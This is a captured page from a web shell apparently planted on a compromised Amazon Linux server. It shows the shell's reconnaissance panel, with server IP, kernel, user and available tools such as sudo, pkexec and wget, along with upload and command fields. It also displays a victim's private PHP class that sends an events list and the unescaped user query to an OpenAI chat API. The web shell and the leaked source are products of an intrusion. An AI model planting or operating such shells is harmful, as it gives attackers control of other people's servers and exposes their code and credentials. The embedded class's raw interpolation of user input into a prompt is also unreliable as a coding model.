403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnewdev/admin/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnewdev/admin/classes/lcs_ai_search.php
<?php
//require_once('vendor_classes/PHPExcel.php');

class lcs_ai_search {
	protected $prompt = '';
	protected $query = '';
	protected $events = [];
	protected $events_json = '';

	public function __construct($query) {
		global $db;
		$this->query = $query;
		$sql = "
			SELECT e.id, e.name, e.start_time_local, e.end_time_local, e.price,
				l.name AS location_name, l.address, l.city, l.state, l.zip,
				GROUP_CONCAT(c.name SEPARATOR ', ') AS categories
			FROM events e
			LEFT JOIN locations l ON (l.id = e.location_id AND l.status = 1)
			LEFT JOIN events_categories ec ON (e.id = ec.event_id)
			LEFT JOIN categories c ON (c.id = ec.category_id AND c.active =1)
			WHERE e.status = 1 AND e.start_time_local >= NOW()
			GROUP BY e.id
			ORDER BY e.id
		";
		$this->events = db_cached_query($sql, 'obj', [], 1800);
		$this->events_json = json_encode($this->events, JSON_PRETTY_PRINT);
		$this->prompt  = "
			You are an AI event-filtering engine.

			Event list:
			$this->events_json

			Your job:
			- Understand the user's intent from the user query.
			- Match events by category, description, vibe, pricing, and date/time.
			- Interpret natural language time ranges (e.g., 'next weekend').
			- Return ONLY a JSON array of event IDs. No explanation.

			Example output:
			[101, 205]

			User query: \"$this->query\"
		";

	}

	function filter_events_chatgpt() {
		$ch = curl_init("https://api.openai.com/v1/chat/completions");

		$payload = [
			"model" => "gpt-5.6-luna",
			"messages" => [
				["role" => "user", "content" => $this->prompt]
			]
		];

		curl_setopt_array($ch, [
			CURLOPT_POST => true,
			CURLOPT_RETURNTRANSFER => true,
			CURLOPT_HTTPHEADER => [
				"Content-Type: application/json",
				"Authorization: Bearer " . APP_OPENAI_API_KEY
			],
			CURLOPT_POSTFIELDS => json_encode($payload)
		]);

		$response = curl_exec($ch);

		if (curl_errno($ch)) :
			throw new Exception("cURL error: " . curl_error($ch));
		endif;

		curl_close($ch);

		$data = json_decode($response, true);
		return json_decode($data["choices"][0]["message"]["content"], true);
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit